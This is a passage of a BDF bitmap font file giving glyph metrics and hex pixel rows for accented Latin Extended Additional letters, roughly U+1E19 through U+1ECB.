SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 -3
BITMAP
60
D0
F0
C0
60
00
40
A0
ENDCHAR
STARTCHAR uni1E1A
ENCODING 7706
SWIDTH 667 0
DWIDTH 5 0
BBX 5 9 -1 -3
BITMAP
78
60
78
60
60
78
00
50
A0
ENDCHAR
STARTCHAR uni1E1B
ENCODING 7707
SWIDTH 556 0
DWIDTH 5 0
BBX 5 8 -1 -3
BITMAP
30
68
78
60
30
00
50
A0
ENDCHAR
STARTCHAR uni1E1C
ENCODING 7708
SWIDTH 667 0
DWIDTH 5 0
BBX 4 11 0 -2
BITMAP
90
60
00
F0
C0
F0
C0
C0
F0
40
C0
ENDCHAR
STARTCHAR uni1E1D
ENCODING 7709
SWIDTH 556 0
DWIDTH 5 0
BBX 4 10 0 -2
BITMAP
90
60
00
60
D0
F0
C0
60
40
C0
ENDCHAR
STARTCHAR uni1E1E
ENCODING 7710
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
40
00
F0
C0
F0
C0
C0
C0
ENDCHAR
STARTCHAR uni1E1F
ENCODING 7711
SWIDTH 333 0
DWIDTH 3 0
BBX 4 9 -1 0
BITMAP
20
00
30
60
F0
60
60
60
60
ENDCHAR
STARTCHAR uni1E20
ENCODING 7712
SWIDTH 778 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
30
00
78
C8
C0
D8
C8
78
ENDCHAR
STARTCHAR uni1E21
ENCODING 7713
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 -1
BITMAP
60
00
D0
B0
B0
F0
30
E0
ENDCHAR
STARTCHAR uni1E22
ENCODING 7714
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
20
00
D8
D8
F8
D8
D8
D8
ENDCHAR
STARTCHAR uni1E23
ENCODING 7715
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
40
00
C0
C0
E0
D0
D0
D0
D0
ENDCHAR
STARTCHAR uni1E24
ENCODING 7716
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
D8
D8
F8
D8
D8
D8
00
20
ENDCHAR
STARTCHAR uni1E25
ENCODING 7717
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -2
BITMAP
C0
C0
E0
D0
D0
D0
D0
00
40
ENDCHAR
STARTCHAR uni1E26
ENCODING 7718
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
50
00
D8
D8
F8
D8
D8
D8
ENDCHAR
STARTCHAR uni1E27
ENCODING 7719
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
A0
00
C0
C0
E0
D0
D0
D0
D0
ENDCHAR
STARTCHAR uni1E28
ENCODING 7720
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
D8
D8
F8
D8
D8
D8
20
60
ENDCHAR
STARTCHAR uni1E29
ENCODING 7721
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -2
BITMAP
C0
C0
E0
D0
D0
D0
D0
20
60
ENDCHAR
STARTCHAR uni1E2A
ENCODING 7722
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 -3
BITMAP
D8
D8
F8
D8
D8
D8
00
48
30
ENDCHAR
STARTCHAR uni1E2B
ENCODING 7723
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 -3
BITMAP
C0
C0
E0
D0
D0
D0
D0
00
90
60
ENDCHAR
STARTCHAR uni1E2C
ENCODING 7724
SWIDTH 278 0
DWIDTH 2 0
BBX 4 9 -2 -3
BITMAP
20
20
20
20
20
20
00
50
A0
ENDCHAR
STARTCHAR uni1E2D
ENCODING 7725
SWIDTH 278 0
DWIDTH 2 0
BBX 4 10 -2 -3
BITMAP
20
00
20
20
20
20
20
00
50
A0
ENDCHAR
STARTCHAR uni1E2E
ENCODING 7726
SWIDTH 278 0
DWIDTH 2 0
BBX 3 11 -1 0
BITMAP
20
40
00
A0
00
40
40
40
40
40
40
ENDCHAR
STARTCHAR uni1E2F
ENCODING 7727
SWIDTH 278 0
DWIDTH 2 0
BBX 3 10 -1 0
BITMAP
20
40
00
A0
00
40
40
40
40
40
ENDCHAR
STARTCHAR uni1E30
ENCODING 7728
SWIDTH 722 0
DWIDTH 6 0
BBX 6 9 0 0
BITMAP
10
20
00
D8
D0
E0
F0
D8
CC
ENDCHAR
STARTCHAR uni1E31
ENCODING 7729
SWIDTH 556 0
DWIDTH 5 0
BBX 4 10 0 0
BITMAP
20
40
00
C0
C0
D0
D0
E0
D0
D0
ENDCHAR
STARTCHAR uni1E32
ENCODING 7730
SWIDTH 722 0
DWIDTH 6 0
BBX 6 8 0 -2
BITMAP
D8
D0
E0
F0
D8
CC
00
20
ENDCHAR
STARTCHAR uni1E33
ENCODING 7731
SWIDTH 556 0
DWIDTH 5 0
BBX 4 9 0 -2
BITMAP
C0
C0
D0
D0
E0
D0
D0
00
40
ENDCHAR
STARTCHAR uni1E34
ENCODING 7732
SWIDTH 722 0
DWIDTH 6 0
BBX 6 8 0 -2
BITMAP
D8
D0
E0
F0
D8
CC
00
30
ENDCHAR
STARTCHAR uni1E35
ENCODING 7733
SWIDTH 556 0
DWIDTH 5 0
BBX 4 9 0 -2
BITMAP
C0
C0
D0
D0
E0
D0
D0
00
60
ENDCHAR
STARTCHAR uni1E36
ENCODING 7734
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 -2
BITMAP
C0
C0
C0
C0
C0
F0
00
40
ENDCHAR
STARTCHAR uni1E37
ENCODING 7735
SWIDTH 278 0
DWIDTH 2 0
BBX 1 9 0 -2
BITMAP
80
80
80
80
80
80
80
00
80
ENDCHAR
STARTCHAR uni1E38
ENCODING 7736
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 -2
BITMAP
C0
00
C0
C0
C0
C0
C0
F0
00
40
ENDCHAR
STARTCHAR uni1E39
ENCODING 7737
SWIDTH 278 0
DWIDTH 2 0
BBX 2 11 0 -2
BITMAP
C0
00
80
80
80
80
80
80
80
00
80
ENDCHAR
STARTCHAR uni1E3A
ENCODING 7738
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 -2
BITMAP
C0
C0
C0
C0
C0
F0
00
60
ENDCHAR
STARTCHAR uni1E3B
ENCODING 7739
SWIDTH 278 0
DWIDTH 2 0
BBX 2 9 0 -2
BITMAP
80
80
80
80
80
80
80
00
C0
ENDCHAR
STARTCHAR uni1E3C
ENCODING 7740
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -3
BITMAP
C0
C0
C0
C0
C0
F0
00
40
A0
ENDCHAR
STARTCHAR uni1E3D
ENCODING 7741
SWIDTH 278 0
DWIDTH 2 0
BBX 3 10 -1 -3
BITMAP
40
40
40
40
40
40
40
00
40
A0
ENDCHAR
STARTCHAR uni1E3E
ENCODING 7742
SWIDTH 833 0
DWIDTH 8 0
BBX 7 9 0 0
BITMAP
08
10
00
C6
C6
EE
FE
D6
D6
ENDCHAR
STARTCHAR uni1E3F
ENCODING 7743
SWIDTH 889 0
DWIDTH 7 0
BBX 6 8 0 0
BITMAP
10
20
00
E8
D4
D4
D4
D4
ENDCHAR
STARTCHAR uni1E40
ENCODING 7744
SWIDTH 833 0
DWIDTH 8 0
BBX 7 8 0 0
BITMAP
10
00
C6
C6
EE
FE
D6
D6
ENDCHAR
STARTCHAR uni1E41
ENCODING 7745
SWIDTH 889 0
DWIDTH 7 0
BBX 6 7 0 0
BITMAP
20
00
E8
D4
D4
D4
D4
ENDCHAR
STARTCHAR uni1E42
ENCODING 7746
SWIDTH 833 0
DWIDTH 8 0
BBX 7 8 0 -2
BITMAP
C6
C6
EE
FE
D6
D6
00
10
ENDCHAR
STARTCHAR uni1E43
ENCODING 7747
SWIDTH 889 0
DWIDTH 7 0
BBX 6 7 0 -2
BITMAP
E8
D4
D4
D4
D4
00
20
ENDCHAR
STARTCHAR uni1E44
ENCODING 7748
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
20
00
C8
C8
E8
F8
D8
C8
ENDCHAR
STARTCHAR uni1E45
ENCODING 7749
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
40
00
E0
D0
D0
D0
D0
ENDCHAR
STARTCHAR uni1E46
ENCODING 7750
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
C8
C8
E8
F8
D8
C8
00
20
ENDCHAR
STARTCHAR uni1E47
ENCODING 7751
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
E0
D0
D0
D0
D0
00
40
ENDCHAR
STARTCHAR uni1E48
ENCODING 7752
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
C8
C8
E8
F8
D8
C8
00
60
ENDCHAR
STARTCHAR uni1E49
ENCODING 7753
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
E0
D0
D0
D0
D0
00
60
ENDCHAR
STARTCHAR uni1E4A
ENCODING 7754
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 -3
BITMAP
C8
C8
E8
F8
D8
C8
00
20
50
ENDCHAR
STARTCHAR uni1E4B
ENCODING 7755
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 -3
BITMAP
E0
D0
D0
D0
D0
00
40
A0
ENDCHAR
STARTCHAR uni1E4C
ENCODING 7756
SWIDTH 778 0
DWIDTH 6 0
BBX 5 12 0 0
BITMAP
10
20
00
28
50
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR uni1E4D
ENCODING 7757
SWIDTH 611 0
DWIDTH 5 0
BBX 4 11 0 0
BITMAP
20
40
00
50
A0
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR uni1E4E
ENCODING 7758
SWIDTH 778 0
DWIDTH 6 0
BBX 5 11 0 0
BITMAP
50
00
28
50
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR uni1E4F
ENCODING 7759
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 0
BITMAP
50
00
50
A0
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR uni1E50
ENCODING 7760
SWIDTH 778 0
DWIDTH 6 0
BBX 5 11 0 0
BITMAP
40
20
00
30
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR uni1E51
ENCODING 7761
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 0
BITMAP
40
20
00
60
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR uni1E52
ENCODING 7762
SWIDTH 778 0
DWIDTH 6 0
BBX 5 11 0 0
BITMAP
10
20
00
30
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR uni1E53
ENCODING 7763
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 0
BITMAP
20
40
00
60
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR uni1E54
ENCODING 7764
SWIDTH 667 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
F0
D8
D8
F0
C0
C0
ENDCHAR
STARTCHAR uni1E55
ENCODING 7765
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -1
BITMAP
20
40
00
E0
D0
D0
D0
E0
C0
ENDCHAR
STARTCHAR uni1E56
ENCODING 7766
SWIDTH 667 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
20
00
F0
D8
D8
F0
C0
C0
ENDCHAR
STARTCHAR uni1E57
ENCODING 7767
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 -1
BITMAP
40
00
E0
D0
D0
D0
E0
C0
ENDCHAR
STARTCHAR uni1E58
ENCODING 7768
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
20
00
F0
D8
D8
F0
D8
D8
ENDCHAR
STARTCHAR uni1E59
ENCODING 7769
SWIDTH 389 0
DWIDTH 3 0
BBX 3 7 0 0
BITMAP
40
00
A0
E0
C0
C0
C0
ENDCHAR
STARTCHAR uni1E5A
ENCODING 7770
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
F0
D8
D8
F0
D8
D8
00
20
ENDCHAR
STARTCHAR uni1E5B
ENCODING 7771
SWIDTH 389 0
DWIDTH 3 0
BBX 3 7 0 -2
BITMAP
A0
E0
C0
C0
C0
00
40
ENDCHAR
STARTCHAR uni1E5C
ENCODING 7772
SWIDTH 722 0
DWIDTH 6 0
BBX 5 10 0 -2
BITMAP
60
00
F0
D8
D8
F0
D8
D8
00
20
ENDCHAR
STARTCHAR uni1E5D
ENCODING 7773
SWIDTH 389 0
DWIDTH 3 0
BBX 3 9 0 -2
BITMAP
60
00
A0
E0
C0
C0
C0
00
40
ENDCHAR
STARTCHAR uni1E5E
ENCODING 7774
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
F0
D8
D8
F0
D8
D8
00
30
ENDCHAR
STARTCHAR uni1E5F
ENCODING 7775
SWIDTH 389 0
DWIDTH 3 0
BBX 3 7 0 -2
BITMAP
A0
E0
C0
C0
C0
00
C0
ENDCHAR
STARTCHAR uni1E60
ENCODING 7776
SWIDTH 667 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
20
00
78
C0
F0
38
D8
70
ENDCHAR
STARTCHAR uni1E61
ENCODING 7777
SWIDTH 556 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
40
00
70
C0
F0
30
E0
ENDCHAR
STARTCHAR uni1E62
ENCODING 7778
SWIDTH 667 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
78
C0
F0
38
D8
70
00
20
ENDCHAR
STARTCHAR uni1E63
ENCODING 7779
SWIDTH 556 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
70
C0
F0
30
E0
00
20
ENDCHAR
STARTCHAR uni1E64
ENCODING 7780
SWIDTH 667 0
DWIDTH 6 0
BBX 5 11 0 0
BITMAP
20
00
10
20
00
78
C0
F0
38
D8
70
ENDCHAR
STARTCHAR uni1E65
ENCODING 7781
SWIDTH 556 0
DWIDTH 5 0
BBX 4 10 0 0
BITMAP
20
00
20
40
00
70
C0
F0
30
E0
ENDCHAR
STARTCHAR uni1E66
ENCODING 7782
SWIDTH 667 0
DWIDTH 7 0
BBX 6 11 0 0
BITMAP
10
00
28
10
00
78
CC
70
3C
CC
78
ENDCHAR
STARTCHAR uni1E67
ENCODING 7783
SWIDTH 556 0
DWIDTH 6 0
BBX 5 11 0 0
BITMAP
20
00
50
20
00
70
D8
70
18
D8
70
ENDCHAR
STARTCHAR uni1E68
ENCODING 7784
SWIDTH 667 0
DWIDTH 6 0
BBX 5 10 0 -2
BITMAP
20
00
78
C0
F0
38
D8
70
00
20
ENDCHAR
STARTCHAR uni1E69
ENCODING 7785
SWIDTH 556 0
DWIDTH 5 0
BBX 4 9 0 -2
BITMAP
40
00
70
C0
F0
30
E0
00
20
ENDCHAR
STARTCHAR uni1E6A
ENCODING 7786
SWIDTH 611 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
20
00
F8
60
60
60
60
60
ENDCHAR
STARTCHAR uni1E6B
ENCODING 7787
SWIDTH 333 0
DWIDTH 3 0
BBX 4 9 -1 0
BITMAP
20
00
20
60
F0
60
60
60
30
ENDCHAR
STARTCHAR uni1E6C
ENCODING 7788
SWIDTH 611 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
F8
60
60
60
60
60
00
20
ENDCHAR
STARTCHAR uni1E6D
ENCODING 7789
SWIDTH 333 0
DWIDTH 3 0
BBX 4 9 -1 -2
BITMAP
20
60
F0
60
60
60
30
00
20
ENDCHAR
STARTCHAR uni1E6E
ENCODING 7790
SWIDTH 611 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
F8
60
60
60
60
60
00
60
ENDCHAR
STARTCHAR uni1E6F
ENCODING 7791
SWIDTH 333 0
DWIDTH 3 0
BBX 4 9 -1 -2
BITMAP
20
60
F0
60
60
60
30
00
60
ENDCHAR
STARTCHAR uni1E70
ENCODING 7792
SWIDTH 611 0
DWIDTH 6 0
BBX 5 9 0 -3
BITMAP
F8
60
60
60
60
60
00
20
50
ENDCHAR
STARTCHAR uni1E71
ENCODING 7793
SWIDTH 333 0
DWIDTH 3 0
BBX 4 10 -1 -3
BITMAP
20
60
F0
60
60
60
30
00
20
50
ENDCHAR
STARTCHAR uni1E72
ENCODING 7794
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
D8
D8
D8
D8
D8
70
00
50
ENDCHAR
STARTCHAR uni1E73
ENCODING 7795
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
D0
D0
D0
F0
50
00
50
ENDCHAR
STARTCHAR uni1E74
ENCODING 7796
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 -3
BITMAP
D8
D8
D8
D8
D8
70
00
50
A0
ENDCHAR
STARTCHAR uni1E75
ENCODING 7797
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 -3
BITMAP
D0
D0
D0
F0
50
00
50
A0
ENDCHAR
STARTCHAR uni1E76
ENCODING 7798
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 -3
BITMAP
D8
D8
D8
D8
D8
70
00
20
50
ENDCHAR
STARTCHAR uni1E77
ENCODING 7799
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 -3
BITMAP
D0
D0
D0
F0
50
00
20
50
ENDCHAR
STARTCHAR uni1E78
ENCODING 7800
SWIDTH 722 0
DWIDTH 6 0
BBX 5 12 0 0
BITMAP
10
20
00
28
50
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR uni1E79
ENCODING 7801
SWIDTH 611 0
DWIDTH 5 0
BBX 4 11 0 0
BITMAP
20
40
00
50
A0
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR uni1E7A
ENCODING 7802
SWIDTH 722 0
DWIDTH 6 0
BBX 5 10 0 0
BITMAP
50
00
30
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR uni1E7B
ENCODING 7803
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
50
00
60
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR uni1E7C
ENCODING 7804
SWIDTH 667 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
28
50
00
E8
68
68
68
70
20
ENDCHAR
STARTCHAR uni1E7D
ENCODING 7805
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
50
A0
00
D0
D0
D0
60
40
ENDCHAR
STARTCHAR uni1E7E
ENCODING 7806
SWIDTH 667 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
E8
68
68
68
70
20
00
20
ENDCHAR
STARTCHAR uni1E7F
ENCODING 7807
SWIDTH 556 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
D0
D0
D0
60
40
00
40
ENDCHAR
STARTCHAR Wgrave
ENCODING 7808
SWIDTH 944 0
DWIDTH 9 0
BBX 8 9 0 0
BITMAP
10
08
00
DB
DB
DA
DA
6C
6C
ENDCHAR
STARTCHAR wgrave
ENCODING 7809
SWIDTH 778 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
40
20
00
A8
A8
F8
F8
48
ENDCHAR
STARTCHAR Wacute
ENCODING 7810
SWIDTH 944 0
DWIDTH 9 0
BBX 8 9 0 0
BITMAP
08
10
00
DB
DB
DA
DA
6C
6C
ENDCHAR
STARTCHAR wacute
ENCODING 7811
SWIDTH 778 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
10
20
00
A8
A8
F8
F8
48
ENDCHAR
STARTCHAR Wdieresis
ENCODING 7812
SWIDTH 944 0
DWIDTH 9 0
BBX 8 8 0 0
BITMAP
14
00
DB
DB
DA
DA
6C
6C
ENDCHAR
STARTCHAR wdieresis
ENCODING 7813
SWIDTH 778 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
50
00
A8
A8
F8
F8
48
ENDCHAR
STARTCHAR uni1E86
ENCODING 7814
SWIDTH 944 0
DWIDTH 9 0
BBX 8 8 0 0
BITMAP
08
00
DB
DB
DA
DA
6C
6C
ENDCHAR
STARTCHAR uni1E87
ENCODING 7815
SWIDTH 778 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
20
00
A8
A8
F8
F8
48
ENDCHAR
STARTCHAR uni1E88
ENCODING 7816
SWIDTH 944 0
DWIDTH 9 0
BBX 8 8 0 -2
BITMAP
DB
DB
DA
DA
6C
6C
00
10
ENDCHAR
STARTCHAR uni1E89
ENCODING 7817
SWIDTH 778 0
DWIDTH 6 0
BBX 5 7 0 -2
BITMAP
A8
A8
F8
F8
48
00
20
ENDCHAR
STARTCHAR uni1E8A
ENCODING 7818
SWIDTH 667 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
20
00
D8
D8
70
70
D8
D8
ENDCHAR
STARTCHAR uni1E8B
ENCODING 7819
SWIDTH 556 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
20
00
D8
D8
70
D8
D8
ENDCHAR
STARTCHAR uni1E8C
ENCODING 7820
SWIDTH 667 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
50
00
D8
D8
70
70
D8
D8
ENDCHAR
STARTCHAR uni1E8D
ENCODING 7821
SWIDTH 556 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
50
00
D8
D8
70
D8
D8
ENDCHAR
STARTCHAR uni1E8E
ENCODING 7822
SWIDTH 667 0
DWIDTH 7 0
BBX 6 8 0 0
BITMAP
20
00
EC
68
68
78
30
30
ENDCHAR
STARTCHAR uni1E8F
ENCODING 7823
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 -1
BITMAP
40
00
D0
D0
D0
70
60
60
ENDCHAR
STARTCHAR uni1E90
ENCODING 7824
SWIDTH 611 0
DWIDTH 6 0
BBX 6 9 0 0
BITMAP
10
28
00
FC
38
30
60
E0
F8
ENDCHAR
STARTCHAR uni1E91
ENCODING 7825
SWIDTH 500 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
20
50
00
F0
30
60
C0
F0
ENDCHAR
STARTCHAR uni1E92
ENCODING 7826
SWIDTH 611 0
DWIDTH 6 0
BBX 6 8 0 -2
BITMAP
FC
38
30
60
E0
F8
00
20
ENDCHAR
STARTCHAR uni1E93
ENCODING 7827
SWIDTH 500 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
F0
30
60
C0
F0
00
40
ENDCHAR
STARTCHAR uni1E94
ENCODING 7828
SWIDTH 611 0
DWIDTH 6 0
BBX 6 8 0 -2
BITMAP
FC
38
30
60
E0
F8
00
60
ENDCHAR
STARTCHAR uni1E95
ENCODING 7829
SWIDTH 500 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
F0
30
60
C0
F0
00
60
ENDCHAR
STARTCHAR uni1E96
ENCODING 7830
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -2
BITMAP
C0
C0
E0
D0
D0
D0
D0
00
60
ENDCHAR
STARTCHAR uni1E97
ENCODING 7831
SWIDTH 333 0
DWIDTH 3 0
BBX 4 9 -1 0
BITMAP
50
00
20
60
F0
60
60
60
30
ENDCHAR
STARTCHAR uni1E98
ENCODING 7832
SWIDTH 778 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
50
20
00
A8
A8
F8
F8
48
ENDCHAR
STARTCHAR uni1E99
ENCODING 7833
SWIDTH 556 0
DWIDTH 5 0
BBX 4 10 0 -1
BITMAP
40
A0
40
00
D0
D0
D0
70
60
60
ENDCHAR
STARTCHAR uni1EA0
ENCODING 7840
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
70
D8
D8
F8
D8
D8
00
20
ENDCHAR
STARTCHAR uni1EA1
ENCODING 7841
SWIDTH 556 0
DWIDTH 5 0
BBX 5 7 0 -2
BITMAP
E0
30
F0
B0
D8
00
20
ENDCHAR
STARTCHAR uni1EA4
ENCODING 7844
SWIDTH 722 0
DWIDTH 6 0
BBX 5 12 0 0
BITMAP
10
20
00
20
50
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR uni1EA5
ENCODING 7845
SWIDTH 556 0
DWIDTH 5 0
BBX 5 11 0 0
BITMAP
20
40
00
40
A0
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR uni1EA6
ENCODING 7846
SWIDTH 722 0
DWIDTH 6 0
BBX 5 12 0 0
BITMAP
40
20
00
20
50
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR uni1EA7
ENCODING 7847
SWIDTH 556 0
DWIDTH 5 0
BBX 5 11 0 0
BITMAP
40
20
00
40
A0
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR uni1EAA
ENCODING 7850
SWIDTH 722 0
DWIDTH 6 0
BBX 5 12 0 0
BITMAP
28
50
00
20
50
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR uni1EAB
ENCODING 7851
SWIDTH 556 0
DWIDTH 5 0
BBX 5 11 0 0
BITMAP
50
A0
00
40
A0
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR uni1EAC
ENCODING 7852
SWIDTH 722 0
DWIDTH 6 0
BBX 5 11 0 -2
BITMAP
20
50
00
70
D8
D8
F8
D8
D8
00
20
ENDCHAR
STARTCHAR uni1EAD
ENCODING 7853
SWIDTH 556 0
DWIDTH 5 0
BBX 5 10 0 -2
BITMAP
20
50
00
E0
30
F0
B0
D8
00
20
ENDCHAR
STARTCHAR uni1EAE
ENCODING 7854
SWIDTH 722 0
DWIDTH 6 0
BBX 5 12 0 0
BITMAP
10
20
00
48
30
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR uni1EAF
ENCODING 7855
SWIDTH 556 0
DWIDTH 5 0
BBX 5 11 0 0
BITMAP
10
20
00
90
60
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR uni1EB0
ENCODING 7856
SWIDTH 722 0
DWIDTH 6 0
BBX 5 12 0 0
BITMAP
20
10
00
48
30
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR uni1EB1
ENCODING 7857
SWIDTH 556 0
DWIDTH 5 0
BBX 5 11 0 0
BITMAP
40
20
00
90
60
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR uni1EB4
ENCODING 7860
SWIDTH 722 0
DWIDTH 6 0
BBX 5 12 0 0
BITMAP
28
50
00
48
30
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR uni1EB5
ENCODING 7861
SWIDTH 556 0
DWIDTH 5 0
BBX 5 11 0 0
BITMAP
28
50
00
90
60
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR uni1EB6
ENCODING 7862
SWIDTH 722 0
DWIDTH 6 0
BBX 5 11 0 -2
BITMAP
48
30
00
70
D8
D8
F8
D8
D8
00
20
ENDCHAR
STARTCHAR uni1EB7
ENCODING 7863
SWIDTH 556 0
DWIDTH 5 0
BBX 5 10 0 -2
BITMAP
90
60
00
E0
30
F0
B0
D8
00
20
ENDCHAR
STARTCHAR uni1EB8
ENCODING 7864
SWIDTH 667 0
DWIDTH 5 0
BBX 4 8 0 -2
BITMAP
F0
C0
F0
C0
C0
F0
00
40
ENDCHAR
STARTCHAR uni1EB9
ENCODING 7865
SWIDTH 556 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
60
D0
F0
C0
60
00
40
ENDCHAR
STARTCHAR uni1EBC
ENCODING 7868
SWIDTH 667 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
50
A0
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR uni1EBD
ENCODING 7869
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
50
A0
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR uni1EBE
ENCODING 7870
SWIDTH 667 0
DWIDTH 5 0
BBX 4 12 0 0
BITMAP
20
40
00
40
A0
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR uni1EBF
ENCODING 7871
SWIDTH 556 0
DWIDTH 5 0
BBX 4 11 0 0
BITMAP
10
20
00
20
50
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR uni1EC0
ENCODING 7872
SWIDTH 667 0
DWIDTH 5 0
BBX 4 12 0 0
BITMAP
80
40
00
40
A0
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR uni1EC1
ENCODING 7873
SWIDTH 556 0
DWIDTH 5 0
BBX 4 11 0 0
BITMAP
40
20
00
20
50
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR uni1EC4
ENCODING 7876
SWIDTH 667 0
DWIDTH 5 0
BBX 4 12 0 0
BITMAP
50
A0
00
40
A0
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR uni1EC5
ENCODING 7877
SWIDTH 556 0
DWIDTH 5 0
BBX 5 11 0 0
BITMAP
28
50
00
20
50
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR uni1EC6
ENCODING 7878
SWIDTH 667 0
DWIDTH 5 0
BBX 4 11 0 -2
BITMAP
40
A0
00
F0
C0
F0
C0
C0
F0
00
40
ENDCHAR
STARTCHAR uni1EC7
ENCODING 7879
SWIDTH 556 0
DWIDTH 5 0
BBX 4 10 0 -2
BITMAP
40
A0
00
60
D0
F0
C0
60
00
40
ENDCHAR
STARTCHAR uni1ECA
ENCODING 7882
SWIDTH 278 0
DWIDTH 2 0
BBX 1 8 0 -2
BITMAP
80
80
80
80
80
80
00
80
ENDCHAR
STARTCHAR uni1ECB
ENCODING 7883
SWIDTH 278 0
DWIDTH 2 0
BBX 1 9 0 -2
BITMAP
80
00
80
